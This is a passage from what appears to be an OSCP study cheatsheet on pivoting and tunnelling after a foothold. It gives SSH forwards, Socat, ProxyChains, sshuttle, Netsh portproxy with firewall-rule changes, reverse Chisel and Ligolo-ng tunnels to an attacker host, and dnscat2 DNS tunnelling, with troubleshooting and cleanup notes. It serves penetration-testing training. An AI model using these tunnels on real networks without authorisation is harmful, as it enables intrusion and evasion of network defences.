10.13 Pivoting and Tunneling Cheatsheet
Draw the connection legs and establish what the pivot can actually reach.
Start the first checks →Verify the callback and return route before changing the payload.
Follow the finding →← Cheatsheet index | Full procedure | Master Notes | Strategy map | Study methods: Reach internal services
10.13.1 Record each connection leg and its return path Route ledger
TOOL -> ENTRY LISTENER/SOCKS/TUN -> TRANSPORT -> PIVOT -> DESTINATION
TCP/UDP | initiator | bind | DNS point | credential/SPN | callback | cleanup
Verify in order: process → listener/session → pivot destination reachability → local route/proxy → simple TCP client → application → separate callback.
10.13.2 Determine what the pivot host can reach Pivot network state
ip -brief address
ip route
ip neigh
ss -lntup
cat /etc/resolv.conf
nc -nvz -w 3 INTERNAL_HOST INTERNAL_PORT
ipconfig /all
route print
arp -a
netstat -ano
Test-NetConnection INTERNAL_HOST -Port INTERNAL_PORT
10.13.3 Choose a method that matches your access and required result Method chooser
| Need | Choose |
|---|---|
| One known TCP socket; inbound SSH to pivot works | SSH -L |
| Many TCP sockets; inbound SSH to pivot works | SSH -D + SOCKS client |
| Pivot can only connect outward to Kali | SSH -R, remote dynamic -R PORT, Chisel reverse or Ligolo agent |
| Direct SSH to an internal SSH host | ssh -J |
| One simple Linux relay | Socat |
| Transparent selected subnets over SSH | sshuttle |
| Windows built-in route | ssh.exe; elevated fixed TCP relay: Netsh |
| Windows alternate SSH client | Plink |
| HTTP/WebSocket-shaped egress | Chisel |
| Many normal clients without proxy wrappers | Ligolo-ng |
| DNS-only egress | dnscat2 after proving DNS prerequisites |
10.13.4 Relay one TCP service through a fixed forward Socat fixed TCP relay
Fixed TCP relay: select the reachable listener and destination explicitly.
socat -ddd TCP-LISTEN:LOCAL_PORT,bind=PIVOT_REACHABLE_IP,reuseaddr,fork \
TCP:INTERNAL_HOST:INTERNAL_PORT
No authentication or encryption. Listener success does not prove the destination connection.
10.13.5 Reach a service or network through an SSH forward OpenSSH
Choose local, remote or dynamic forwarding by the SSH endpoint and required listener direction.
Local fixed forward, run on Kali:
ssh -N -L 127.0.0.1:LOCAL_PORT:INTERNAL_HOST:INTERNAL_PORT \
-p SSH_PORT USER@PIVOT -o ExitOnForwardFailure=yes \
-o ServerAliveInterval=30 -o ServerAliveCountMax=3
Local SOCKS, run on Kali:
ssh -N -D 127.0.0.1:1080 -p SSH_PORT USER@PIVOT \
-o ExitOnForwardFailure=yes
Remote fixed forward, run on pivot:
ssh -N -R 127.0.0.1:KALI_PORT:INTERNAL_HOST:INTERNAL_PORT \
-p KALI_SSH_PORT KALI_USER@LHOST -o ExitOnForwardFailure=yes
Remote dynamic SOCKS, run on pivot; OpenSSH client 7.6+:
ssh -N -R 127.0.0.1:1080 -p KALI_SSH_PORT KALI_USER@LHOST \
-o ExitOnForwardFailure=yes
SSH jump and native SOCKS route:
ssh -J PIVOT_USER@PIVOT TARGET_USER@INTERNAL_HOST
ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p' \
TARGET_USER@INTERNAL_HOST
-L/-Dlisten on the SSH client;-Rlistens on the SSH server. The destination connection occurs from the opposite end. Non-loopback remote binds depend onGatewayPorts.
10.13.6 Send compatible TCP client connections through a SOCKS proxy ProxyChains
Task-specific proxychains-pivot.conf:
strict_chain
proxy_dns
tcp_read_time_out 15000
tcp_connect_time_out 8000
[ProxyList]
socks5 127.0.0.1 1080
proxychains4 -q -f ./proxychains-pivot.conf curl http://INTERNAL_HOST:PORT/
proxychains4 -q -f ./proxychains-pivot.conf nmap -sT -Pn -n -p PORTS INTERNAL_HOST
proxychains4 -q -f ./proxychains-pivot.conf impacket-smbclient \
'DOMAIN/USER:PASSWORD@INTERNAL_HOST'
curl --socks5-hostname 127.0.0.1:1080 http://INTERNAL_HOST:PORT/
ncat --proxy-type socks5 --proxy 127.0.0.1:1080 INTERNAL_HOST INTERNAL_PORT
ProxyChains is TCP-only and depends on compatible dynamically linked socket calls. No SYN, ICMP, UDP or pcap discovery. Prefer native proxy options; use focused
nmap -sT -Pn -nonly.
10.13.7 Route a selected subnet through an SSH-accessible pivot sshuttle
Transparent TCP forwarding through an authorized SSH endpoint with its runtime prerequisites.
sudo sshuttle --dns -r SSH_USER@PIVOT:SSH_PORT INTERNAL_SUBNET ANOTHER_SUBNET
sudo sshuttle --dns -r SSH_USER@127.0.0.1:LOCAL_SSH_PORT INTERNAL_SUBNET
Requires client-side privileges/firewall support and a compatible Python path on the SSH server. Avoid route collisions with VPN networks.
10.13.8 Windows
Windows built-in forwarding; check listener, routing and administrative prerequisites.
Built-in OpenSSH remote dynamic:
ssh.exe -N -R 127.0.0.1:1080 KALI_USER@LHOST -p KALI_SSH_PORT -o ExitOnForwardFailure=yes
Plink remote fixed forward:
plink.exe -ssh -N -batch -hostkey "HOST_KEY_FINGERPRINT" ^
-l KALI_USER -pwfile C:\PATH\kali-password.txt ^
-R 127.0.0.1:KALI_PORT:INTERNAL_HOST:INTERNAL_PORT ^
-P KALI_SSH_PORT LHOST
Netsh fixed TCP relay and cleanup, elevated:
netsh interface portproxy add v4tov4 listenaddress=PIVOT_REACHABLE_IP listenport=LOCAL_PORT connectaddress=INTERNAL_HOST connectport=INTERNAL_PORT
netsh interface portproxy show all
netsh advfirewall firewall add rule name="OSCP Pivot LOCAL_PORT" dir=in action=allow protocol=TCP localport=LOCAL_PORT
netsh interface portproxy delete v4tov4 listenaddress=PIVOT_REACHABLE_IP listenport=LOCAL_PORT
netsh advfirewall firewall delete rule name="OSCP Pivot LOCAL_PORT"
Netsh is TCP-only, elevated and persistent. Verify firewall and IP Helper behavior; remove both objects.
10.13.9 Reach internal services through an HTTP-based Chisel tunnel Chisel
Choose the forwarding direction matching the reachable server and desired listener.
Reverse SOCKS:
10.13.9.1 Kali
# Kali
chisel server --reverse --port CHISEL_PORT
10.13.9.2 Pivot
# Pivot
chisel client --fingerprint 'SERVER_FINGERPRINT' \
LHOST:CHISEL_PORT R:127.0.0.1:1080:socks
Reverse fixed TCP forward:
chisel client --fingerprint 'SERVER_FINGERPRINT' LHOST:CHISEL_PORT \
R:127.0.0.1:LOCAL_PORT:INTERNAL_HOST:INTERNAL_PORT
Forward SOCKS:
# Pivot
chisel server --socks5 --port CHISEL_PORT
# Kali
chisel client --fingerprint 'SERVER_FINGERPRINT' PIVOT:CHISEL_PORT \
127.0.0.1:1080:socks
Current UDP-aware listener:
chisel client --fingerprint 'SERVER_FINGERPRINT' \
LHOST:CHISEL_PORT R:127.0.0.1:1080:udpsocks
socksis TCP CONNECT only.udpsocksadditionally supports SOCKS5 UDP ASSOCIATE with current peers, but ProxyChains still cannot carry UDP. Check OS/architecture/runtime compatibility and WebSocket upgrade behavior.
10.13.10 Route an internal subnet through a Ligolo-ng agent Ligolo-ng
Use an established agent/proxy route when routed subnet access is needed.
10.13.10.1 Kali
# Kali
./proxy -selfcert -laddr 0.0.0.0:LIGOLO_PORT
10.13.10.2 Pivot, after reading certificate_fingerprint in the console
# Pivot, after reading certificate_fingerprint in the console
./agent -connect LHOST:LIGOLO_PORT -accept-fingerprint CERT_FINGERPRINT
Ligolo console:
interface_create --name ligolo
session
ifconfig
interface_add_route --name ligolo --route INTERNAL_SUBNET
tunnel_start --tun ligolo
Manual route fallback:
sudo ip tuntap add user "$USER" mode tun ligolo
sudo ip link set ligolo up
sudo ip route add INTERNAL_SUBNET dev ligolo
Pivot loopback service:
sudo ip route add 240.0.0.1/32 dev ligolo
nmap -sT -Pn -n -p PORTS 240.0.0.1
Callback listener in selected session:
listener_add --addr 0.0.0.0:PIVOT_PORT --to 127.0.0.1:KALI_PORT --tcp
listener_list
listener_stop LISTENER_ID
10.13.11 Reach a controlled endpoint through a permitted DNS tunnel DNS tunneling, conditional
10.13.11.1 Authoritative domain server
# Authoritative domain server
dnscat2-server --secret=SHARED_SECRET TUNNEL_DOMAIN
10.13.11.2 Client
# Client
./dnscat --secret=SHARED_SECRET TUNNEL_DOMAIN
10.13.11.3 Direct server mode
# Direct server mode
./dnscat --dns server=DNS_SERVER,port=53 --secret=SHARED_SECRET
windows
window -i SESSION_ID
help
Needs client execution plus authoritative NS delegation or direct DNS-server reachability. Slow and conspicuous. A query reaching the server is not yet an authenticated channel. DNS tunneling is distinct from prohibited DNS spoofing.
10.13.12 Verify payload delivery and callback paths separately Callback route
Run/context: distinguish the testing workstation, pivot and internal target for each connection leg. A working tool-to-target tunnel does not establish the target-to-listener return path. Decide: trace the listener address/port and each forwarded leg using the complete callback-routing checks; verify the new session with the session checks.
Kali -> tunnel -> internal service access path
internal target -> pivot listener -> Kali callback path
If a callback is required, separately verify the pivot listener, relay, Kali bind address and target-to-pivot reachability. Do not change payloads until this route is proven.
10.13.13 Failure cues
| Cue | Check next |
|---|---|
| Pivot cannot reach destination | Internal route/firewall/service |
| Client cannot reach tunnel server | Listener, pivot egress, transport port |
| Listener not created | Bind collision, privilege, server forwarding policy |
| Listener works; application fails | Client proxy support, protocol, DNS/SPN, authentication |
| ProxyChains does nothing | Static/incompatible process; use native proxy/explicit forward/Ligolo |
| Nmap empty through SOCKS | Focused -sT -Pn -n, latency, simple Ncat/curl proof |
| Kerberos fails through working IP route | FQDN/SPN, DNS, KDC and time |
| Chisel server sees no session | Binary execution, egress, WebSocket path |
| Ligolo session exists but no traffic | Selected session, interface and OS route |
| Forward works; callback fails | Reverse route and listener bind |
| Deep route dies globally | Repair first failed upstream hop |
10.13.14 Cleanup and restriction
Remove temporary TUN routes/interfaces, Ligolo listeners, Chisel/Socat/SSH processes, host mappings, Netsh/firewall rules and password files. Record the exact route before cleanup.
The current OSCP+ exam guide explicitly prohibits Metasploit pivoting.
10.13.15 Discover and recognize candidates
Use these discovery checks to find a candidate, then validate the missing conditions. Cues are illustrative; complete synthetic outputs and three-outcome examples are in the linked study entries.
10.13.15.1 Reach internal services
10.13.15.1.1 Find: Discover pivot interfaces, routes and internal service context
On the foothold inspect interfaces/routes and local listeners, then test an explicitly assigned destination from that host.
ip addr
ip route
ss -lntup
Recognize: A second network or loopback listener supplies a new vantage candidate; forwarding is not automatically enabled.
Validate next: Read interfaces/routes/listeners on the pivot and probe the internal destination from that host. Draw both legs and the initiator; only choose SSH/SOCKS/Ligolo after the destination leg works.
Discover pivot interfaces, routes and internal service context.
10.13.15.1.2 Commands and use-case variants
Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. A usable pivot process/identity and explicit scope; both forward and return directions must be understood
APPLICATION TOOL
-> local listener / SOCKS endpoint / TUN route
-> tunnel transport endpoint
-> pivot exit
-> internal destination service
CALLBACK TARGET
-> pivot listener or routable address
-> relay/tunnel
-> final listener
Record:
TOOL_HOST -> ENTRY_SOCKET/ROUTE -> TRANSPORT -> PIVOT -> DESTINATION
application protocol | TCP/UDP | initiator | bind address | DNS point
credential/SPN name | callback route | privilege | cleanup objects
Do not use “pivot works” as a single state. Confirm these layers separately:
- the tunnel process started;
- its listener/transport connection exists;
- the pivot can reach the intended destination socket;
- the local route, forward or proxy points at the right exit;
- the application actually uses that path;
- name resolution and authentication match the application;
- a callback, if required, has its own return path.
Linux:
id
ip -brief address
ip route
ip neigh
ss -lntup
cat /etc/resolv.conf
Windows:
whoami /all
ipconfig /all
route print
arp -a
netstat -ano
PowerShell selected endpoints:
Get-NetIPConfiguration
Get-NetRoute -AddressFamily IPv4 | Sort-Object DestinationPrefix,RouteMetric
Get-NetTCPConnection -State Listen
Get-DnsClientServerAddress -AddressFamily IPv4
An interface or route proves a possible network position, not destination reachability. Validate one justified socket from the pivot before building a tunnel.
nc -nvz -w 3 INTERNAL_HOST INTERNAL_PORT
curl -v --connect-timeout 5 http://INTERNAL_HOST:INTERNAL_PORT/
Test-NetConnection INTERNAL_HOST -Port INTERNAL_PORT
| Need | Baseline | Choose when | Main limitation |
|---|---|---|---|
| One TCP service through an SSH pivot | SSH local forward | Kali can initiate SSH to pivot | One destination socket per forward |
| Many TCP destinations through SSH pivot | SSH dynamic forward | Kali can initiate SSH to pivot | SOCKS/client compatibility |
| Pivot can connect outward but inbound access is blocked | SSH remote or remote-dynamic forward | Pivot has OpenSSH client and can reach Kali SSH | Kali SSH policy; OpenSSH version for remote dynamic |
| SSH hop directly to internal SSH | ProxyJump | Both pivot and destination provide SSH | SSH-only path |
| Simple Linux TCP relay | Socat | Binary already exists and listener can be exposed | Clear TCP relay; no authentication/encryption |
| Transparent selected subnets through SSH | sshuttle | Suitable SSH server with Python; local privileges | TCP/DNS-oriented, local firewall changes |
| Windows SSH-based forward | Built-in ssh.exe or Plink | Compatible client exists and outbound SSH works | Server policy and credential/host-key handling |
| Windows native fixed TCP relay | netsh interface portproxy | Elevated token; target modification acceptable | TCP only; firewall/IP Helper/stateful cleanup |
| Outbound HTTP/WebSocket-shaped tunnel | Chisel | Pivot can run matching binary and reach server | Client/server compatibility and proxy/client transport limits |
| Routed access for ordinary clients | Ligolo-ng | Agent can reach proxy and TUN/route setup is possible | Userland stack is not identical to direct raw networking |
| DNS is the only viable egress | dnscat2 | DNS path plus authoritative/direct server control | Slow/noisy, infrastructure and client required |
Prefer one explicit forward for one known service. Use SOCKS when several TCP endpoints must be explored. Use a routed pivot when many ordinary tools must operate without proxy wrappers. Do not add a multi-host route when command execution directly on the pivot is sufficient.
Kali/Linux:
ss -lntup
ip -brief address
ip route
ps -ef | grep -E '[s]sh .*-[LDR]|[c]hisel|[l]igolo|[s]ocat|[s]shuttle'
Windows:
netstat -ano
tasklist
netsh interface portproxy show all
netsh advfirewall firewall show rule name="OSCP Pivot LOCAL_PORT"
Record:
- exact process/command and version;
- bind address and port;
- transport direction and initiator;
- pivot and destination;
- routes/name mappings/configuration files added;
- simple TCP proof and final application proof;
- callback proof where applicable;
- cleanup command and result.
Stop tunnel processes and remove TUN routes, Ligolo listeners, temporary mappings, password files, Netsh rules and firewall exceptions after the authorized task.
Verify: Record source, pivot, destination, protocol, listener placement and required return path.
If it fails: Interface presence is not proof of destination reachability. Routing/firewall and application permission are independent.
10.13.15.1.3 Find: Relay a single TCP service through a fixed forward
From pivot-state evidence identify one fixed TCP destination and where the assessment client can reach a pivot listener.
ip route get TARGET
ss -lnt
Recognize: A single TCP service can fit a fixed relay without assuming a full routed network.
Validate next: Confirm both legs, bind address/permission and any additional dynamic ports or return path.
Relay a single TCP service through a fixed forward.
10.13.15.1.4 Commands and use-case variants
Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. A bindable pivot listener, source-to-listener access and pivot-to-destination connectivity
On a Linux pivot, expose one internal TCP service:
socat -ddd TCP-LISTEN:LOCAL_PORT,bind=PIVOT_REACHABLE_IP,reuseaddr,fork \
TCP:INTERNAL_HOST:INTERNAL_PORT
Loopback-only relay for another local tunnel stage:
socat -ddd TCP-LISTEN:LOCAL_PORT,bind=127.0.0.1,reuseaddr,fork \
TCP:INTERNAL_HOST:INTERNAL_PORT
Verify the listener on the pivot with ss -lntp | grep LOCAL_PORT. Run nc -nvz PIVOT_REACHABLE_IP LOCAL_PORT from the intended client to test client-to-pivot reachability. These checks run on different machines:
ss -lntp | grep LOCAL_PORT
nc -nvz PIVOT_REACHABLE_IP LOCAL_PORT
forkhandles multiple connections.reuseaddreases rebinding after restart. Socat does not add authentication or encryption to this relay; bind narrowly and remove the process when finished. A listener can exist even when the pivot-to-destination connection fails.
Verify: Verify application behavior through the listener and keep the transport's destination explicit.
If it fails: A working listener with no application response can be a pivot-to-destination failure. Dynamic RPC may need a different route.
10.13.15.1.5 Find: Forward a selected service through an SSH client-side listener
Use accepted SSH and the SSH server's verified reachability to a selected internal/loopback service; identify where the local client needs its listener.
ssh -v -p SSH_PORT USER@PIVOT
ss -lnt
Recognize: Client-side listener plus server-side destination is the -L direction; destination loopback belongs to the SSH server.
Validate next: Verify forwarding policy, local bind and server-to-destination application access.
Forward a selected service through an SSH client-side listener.
10.13.15.1.6 Commands and use-case variants
Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Accepted SSH identity and forwarding policy; local listener availability and SSH-server-to-destination route
Run on Kali when Kali can SSH to the pivot:
ssh -N \
-L 127.0.0.1:LOCAL_PORT:INTERNAL_HOST:INTERNAL_PORT \
-p SSH_PORT USER@PIVOT \
-o ExitOnForwardFailure=yes \
-o ServerAliveInterval=30 -o ServerAliveCountMax=3
Use the listener as though it were the internal service:
nc -nvz 127.0.0.1 LOCAL_PORT
curl -v http://127.0.0.1:LOCAL_PORT/
The SSH server/pivot resolves and connects to
INTERNAL_HOST. Bind to127.0.0.1unless another authorized local host must use the forward;-gor a non-loopback bind expands exposure.
Add reliability and attributable failure to transport-only sessions:
-N
-o ExitOnForwardFailure=yes
-o ServerAliveInterval=30
-o ServerAliveCountMax=3
ExitOnForwardFailure proves requested listening sockets were established. It does not prove the final destination is reachable through them.
Verify: Verify listening address plus the destination application's handshake and preserve correct hostname/SPN semantics when needed.
If it fails: Administrative-prohibited indicates SSH forwarding policy; address-in-use is a local bind problem; timeout can be the remote leg.
10.13.15.1.7 Find: Provide SOCKS access through SSH dynamic forwarding
From accepted SSH and a mapped internal service set determine whether each required client can use a SOCKS TCP connection.
ssh -v -p SSH_PORT USER@PIVOT
Recognize: Multiple client-selected TCP destinations suggest a dynamic SOCKS listener rather than many fixed forwards.
Validate next: Check SSH forwarding, listener bind, native/intercepted client support and DNS resolution location.
Provide SOCKS access through SSH dynamic forwarding.
10.13.15.1.8 Commands and use-case variants
Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. SSH forwarding allowed and clients that support SOCKS or compatible interception; DNS behavior must be chosen explicitly
ssh -N -D 127.0.0.1:1080 -p SSH_PORT USER@PIVOT \
-o ExitOnForwardFailure=yes \
-o ServerAliveInterval=30 -o ServerAliveCountMax=3
OpenSSH acts as a SOCKS4/5 server. The pivot makes destination connections selected by each SOCKS request.
Verify: Verify one application through the proxy, then check each client's actual proxy and DNS behavior.
If it fails: A working proxy does not make raw SYN/UDP scans viable. Use connect-based clients or a suitable routed tunnel.
10.13.15.1.9 Find: Expose an SSH-client-side destination through a server-side remote listener
Identify an outbound-only pivot-to-SSH-server path and a service reached from that SSH client/pivot; decide where the remote listener is needed.
ssh -v USER@SSH_SERVER
Recognize: The useful listener is on the SSH server while the destination is reached from the client side: a remote forward candidate.
Validate next: Verify remote-forward permission, server bind/GatewayPorts policy and pivot-side destination reachability.
Expose an SSH-client-side destination through a server-side remote listener.
10.13.15.1.10 Commands and use-case variants
Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Outbound SSH route, accepted identity, server forwarding/GatewayPorts policy and reachability to the chosen client-side destination
Run on a pivot that can initiate an SSH connection back to Kali:
ssh -N \
-R 127.0.0.1:KALI_PORT:INTERNAL_HOST:INTERNAL_PORT \
-p KALI_SSH_PORT KALI_USER@LHOST \
-o ExitOnForwardFailure=yes \
-o ServerAliveInterval=30 -o ServerAliveCountMax=3
Kali then uses:
nc -nvz 127.0.0.1 KALI_PORT
The SSH client/pivot connects to
INTERNAL_HOST.AllowTcpForwardingand server policy must permit the forward. A non-loopback remote bind additionally depends onGatewayPorts; do not assume0.0.0.0was honored.
Verify: Verify listener placement/bind and actual destination application response.
If it fails: A loopback-only server listener is not reachable by another host. Check remote-forward permission and binding before changing service credentials.
10.13.15.1.11 Find: Expose a server-side SOCKS proxy through remote dynamic SSH forwarding
For an outbound-only SSH path identify the need for several client-selected destinations and inspect the actual SSH client implementation/version.
ssh -V
Recognize: Remote listener placement plus per-connection SOCKS destination selection suggests remote dynamic forwarding.
Validate next: Check implementation support, remote-forward policy, listener binding and proxy-client/DNS compatibility.
Expose a server-side SOCKS proxy through remote dynamic SSH forwarding.
10.13.15.1.12 Commands and use-case variants
Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. A supporting OpenSSH client, allowed remote forwarding, listener binding and SOCKS-compatible tool clients
Run on the pivot:
ssh -N -R 127.0.0.1:1080 -p KALI_SSH_PORT KALI_USER@LHOST \
-o ExitOnForwardFailure=yes \
-o ServerAliveInterval=30 -o ServerAliveCountMax=3
The SOCKS listener appears on Kali and destination connections exit through the pivot. Remote dynamic forwarding requires OpenSSH 7.6 or later on the client that issues -R. Run ssh -V on the pivot (the SSH client). Run ss -lntp | grep 1080 on Kali (the SSH server hosting the SOCKS listener). These checks run on different machines; do not paste both into one terminal:
ssh -V
ss -lntp | grep 1080
Verify: Verify the listener's actual location and source-side exit by application evidence.
If it fails: Unsupported client syntax or forwarding policy is different from destination filtering. Use a fixed remote forward if it satisfies the task.
10.13.15.1.13 Find: Use ProxyChains, native SOCKS clients and SSH jump paths appropriately
Inspect the established proxy/jump topology and each intended client's actual SOCKS or SSH-jump support before a protocol test.
curl --socks5-hostname 127.0.0.1:SOCKS_PORT http://TARGET:PORT/
Recognize: One supported TCP application works; the proxy does not automatically carry raw packets or arbitrary DNS/UDP.
Validate next: Check native versus intercepted support, connect-only scanner modes, name resolution and every required protocol leg.
Use ProxyChains, native SOCKS clients and SSH jump paths appropriately.
10.13.15.1.14 Commands and use-case variants
Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Client/proxy transport compatibility, correct proxy configuration and controlled name resolution
Direct SSH through an SSH pivot:
ssh -J PIVOT_USER@PIVOT TARGET_USER@INTERNAL_HOST
SSH through an existing SOCKS5 endpoint with Ncat:
ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p' \
TARGET_USER@INTERNAL_HOST
%h and %p are replaced with the destination host and port. Prefer this native proxy route when ProxyChains interposition is unreliable.
10.13.15.1.15 Use an SSH configuration for repeated access
Host pivot
HostName PIVOT
User PIVOT_USER
Host internal
HostName INTERNAL_HOST
User TARGET_USER
ProxyJump pivot
ssh internal
scp FILE internal:DESTINATION_PATH
Use a task-specific configuration rather than repeatedly editing a shared global file:
strict_chain
proxy_dns
tcp_read_time_out 15000
tcp_connect_time_out 8000
[ProxyList]
socks5 127.0.0.1 1080
proxychains4 -q -f ./proxychains-pivot.conf curl http://INTERNAL_HOST:PORT/
proxychains4 -q -f ./proxychains-pivot.conf nmap -sT -Pn -n -p PORTS INTERNAL_HOST
proxychains4 -q -f ./proxychains-pivot.conf impacket-smbclient \
'DOMAIN/USER:PASSWORD@INTERNAL_HOST'
Constraints:
- ProxyChains hooks socket calls in dynamically linked programs; some static binaries, scripts, child processes or dynamically loaded modules bypass or break the hook.
- ProxyChains supports TCP only. It does not proxy UDP, ICMP, SYN scans or pcap-based discovery.
- For Nmap use
-sT -Pn -nwith a focused port list. Proxy scanning is slow and is not a replacement for discovery from the pivot. proxy_dnsmoves supported hostname resolution through the proxy, but application behavior varies.-nprevents Nmap's local reverse lookups.- Prefer an application's native proxy option when available.
Native examples:
curl --socks5-hostname 127.0.0.1:1080 http://INTERNAL_HOST:PORT/
ncat --proxy-type socks5 --proxy 127.0.0.1:1080 INTERNAL_HOST INTERNAL_PORT
Verify: Verify destination application and resolver behavior through the intended path.
If it fails: Proxy interception is not universal. Use native proxy support, an SSH jump for SSH, or routed tunneling when the protocol requires it.
10.13.15.1.16 Find: Route a selected subnet through sshuttle
Identify several internal TCP destinations, existing SSH access and whether the local/remote privilege/runtime requirements can be met.
ssh -v USER@PIVOT
python3 --version
ip route
Recognize: An SSH carrier and compatible endpoints make a transparent selected-subnet route a candidate; local Python output alone does not prove the remote runtime.
Validate next: Verify local route/firewall permissions, remote runtime, supported transport/mode and explicitly selected subnet/DNS behavior.
Route a selected subnet through sshuttle.
10.13.15.1.17 Commands and use-case variants
Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Working SSH/Python environment, local routing/firewall privileges and explicitly selected supported traffic/subnets
sudo sshuttle --dns \
-r SSH_USER@PIVOT:SSH_PORT \
INTERNAL_SUBNET ANOTHER_SUBNET
Through a previously established local forward to the SSH pivot:
sudo sshuttle --dns \
-r SSH_USER@127.0.0.1:LOCAL_SSH_PORT \
INTERNAL_SUBNET
sshuttle is useful when many TCP clients need transparent access. It requires privileges and firewall/redirection support on the client; the remote side needs a compatible Python execution path. It is not a general layer-2 VPN and does not make arbitrary raw-packet or UDP behavior equivalent to direct routing. Record the selected subnets so existing VPN routes are not accidentally captured.
Verify: Verify the actual application path and ensure only assigned subnets are selected.
If it fails: Missing local privilege, remote runtime or unsupported traffic can break this option. Use fixed forwards/SOCKS or a compatible routed tunnel.
10.13.15.1.18 Find: Forward from Windows with OpenSSH, Plink or Netsh
From a Windows pivot inspect native/available tunnel utilities, its route to the destination and the rights needed by the selected implementation.
Get-Command ssh,plink,netsh -ErrorAction SilentlyContinue
Get-Service iphlpsvc
Test-NetConnection TARGET -Port PORT
Recognize: Windows has a carrier/destination candidate; Netsh administrative state and user-space SSH requirements differ.
Validate next: Choose the supported tool, verify listener/bind/firewall and correct connection direction; check its exact rights.
Forward from Windows with OpenSSH, Plink or Netsh.
10.13.15.1.19 Commands and use-case variants
Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Compatible OpenSSH/Plink authentication or administrative Netsh/IP Helper context; correct listener and destination paths
10.13.15.1.19.1 Forward a selected TCP service from Windows Built-in OpenSSH client
where ssh.exe
ssh.exe -V
ssh.exe -N -R 127.0.0.1:1080 KALI_USER@LHOST -p KALI_SSH_PORT -o ExitOnForwardFailure=yes -o ServerAliveInterval=30
The same -L, -D, -R, ProxyJump and ProxyCommand concepts apply to current Windows OpenSSH. Remote dynamic forwarding depends on the client version.
10.13.15.1.19.2 Forward a selected TCP service from Windows Plink
Remote fixed forward from Windows to Kali:
plink.exe -ssh -N -batch -hostkey "HOST_KEY_FINGERPRINT" ^
-l KALI_USER -pwfile C:\PATH\kali-password.txt ^
-R 127.0.0.1:KALI_PORT:INTERNAL_HOST:INTERNAL_PORT ^
-P KALI_SSH_PORT LHOST
Local dynamic SOCKS on Windows:
plink.exe -ssh -N -batch -hostkey "HOST_KEY_FINGERPRINT" ^
-l SSH_USER -pwfile C:\PATH\ssh-password.txt ^
-D 127.0.0.1:1080 -P SSH_PORT PIVOT
Current Plink supports
-L,-Rand-D, but not OpenSSH's remote-dynamic shorthand.-batchprevents an unseen prompt from hanging; pair it with a verified-hostkey.-pwfileavoids a literal password in the command line but creates a sensitive file that must be protected and removed. Prefer a key or existing authenticated context where feasible.
10.13.15.1.19.3 Forward a selected TCP service from Windows Netsh portproxy
Elevated Windows shell:
netsh interface portproxy add v4tov4 ^
listenaddress=PIVOT_REACHABLE_IP listenport=LOCAL_PORT ^
connectaddress=INTERNAL_HOST connectport=INTERNAL_PORT
netsh interface portproxy show all
netstat -ano -p tcp | findstr ":LOCAL_PORT"
If the existing firewall policy does not already allow the listener and a change is authorized:
netsh advfirewall firewall add rule name="OSCP Pivot LOCAL_PORT" ^
dir=in action=allow protocol=TCP localport=LOCAL_PORT
Cleanup:
netsh interface portproxy delete v4tov4 ^
listenaddress=PIVOT_REACHABLE_IP listenport=LOCAL_PORT
netsh advfirewall firewall delete rule name="OSCP Pivot LOCAL_PORT"
portproxyrequires an elevated token, forwards TCP rather than UDP, modifies persistent host configuration and may depend on the IP Helper service. A stored rule or listening socket still does not prove the destination is reachable. Record and remove both the proxy and any firewall rule.
Verify: Verify actual listener, route and application, then remove created portproxy/firewall state as appropriate.
If it fails: Missing admin rights blocks Netsh changes without disproving a user-space SSH route; firewall/bind failures are independent.
10.13.15.1.20 Find: Use a reverse Chisel SOCKS or fixed TCP tunnel
Map an outbound pivot-to-server HTTP/WebSocket path and identify whether the assessment side needs a fixed listener or SOCKS access.
chisel --version
chisel server --help
chisel client --help
Recognize: The outbound carrier and server-side listener requirement identify a reverse-tunnel topology.
Validate next: Verify server reverse mode, fingerprint, carrier upgrade, listener bind and pivot-to-destination compatibility.
Use a reverse Chisel SOCKS or fixed TCP tunnel.
10.13.15.1.21 Commands and use-case variants
Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Compatible reviewed client/server, server reverse mode, reachable server port and pivot-to-destination access
On Kali:
chisel server --reverse --port CHISEL_PORT
Record the server fingerprint. On the pivot:
chisel client --fingerprint 'SERVER_FINGERPRINT' \
LHOST:CHISEL_PORT R:127.0.0.1:1080:socks
R:socks is the shorter equivalent using the default server-side 127.0.0.1:1080 listener. Traffic sent to Kali's SOCKS listener exits through the Chisel client/pivot.
10.13.15.1.22 Kali
# Kali
chisel server --reverse --port CHISEL_PORT
10.13.15.1.23 Pivot: expose an internal service on Kali loopback
# Pivot: expose an internal service on Kali loopback
chisel client --fingerprint 'SERVER_FINGERPRINT' LHOST:CHISEL_PORT \
R:127.0.0.1:LOCAL_PORT:INTERNAL_HOST:INTERNAL_PORT
chisel --version
chisel server --help
chisel client --help
ss -lntp
| Cue | Interpretation |
|---|---|
| No connection at server | Pivot egress, address, listener or WebSocket/proxy path |
| HTTP reaches server but upgrade fails | Intermediary may block WebSocket upgrade |
exec format error | Wrong OS/architecture |
| Missing GLIBC/version symbol | Build/runtime incompatibility; choose a compatible official build |
| Fingerprint mismatch | Wrong server or changed key; do not bypass verification blindly |
| SOCKS listener exists but endpoint fails | Pivot-to-destination or application/proxy compatibility |
| TCP works but UDP fails | Ordinary socks, old peer, UDP bind/firewall or unsupported client |
Verify: Verify tunnel establishment and end-to-end application behavior; a connected carrier alone is insufficient.
If it fails: WebSocket/proxy filtering, reverse mode, listener collision and destination denial are different failures.
10.13.15.1.24 Find: Use forward Chisel SOCKS and version-supported UDP routing
Identify which side can reach a tunnel server, then inspect the exact peer version and whether TCP or SOCKS5 UDP ASSOCIATE is required.
chisel --version
chisel client --help
Recognize: Forward placement and actual client transport determine the mode; a UDP-capable tunnel binary does not make every wrapper UDP-capable.
Validate next: Verify compatible peers, server SOCKS setting, listener route and the real application's UDP/TCP support.
Use forward Chisel SOCKS and version-supported UDP routing.
10.13.15.1.25 Commands and use-case variants
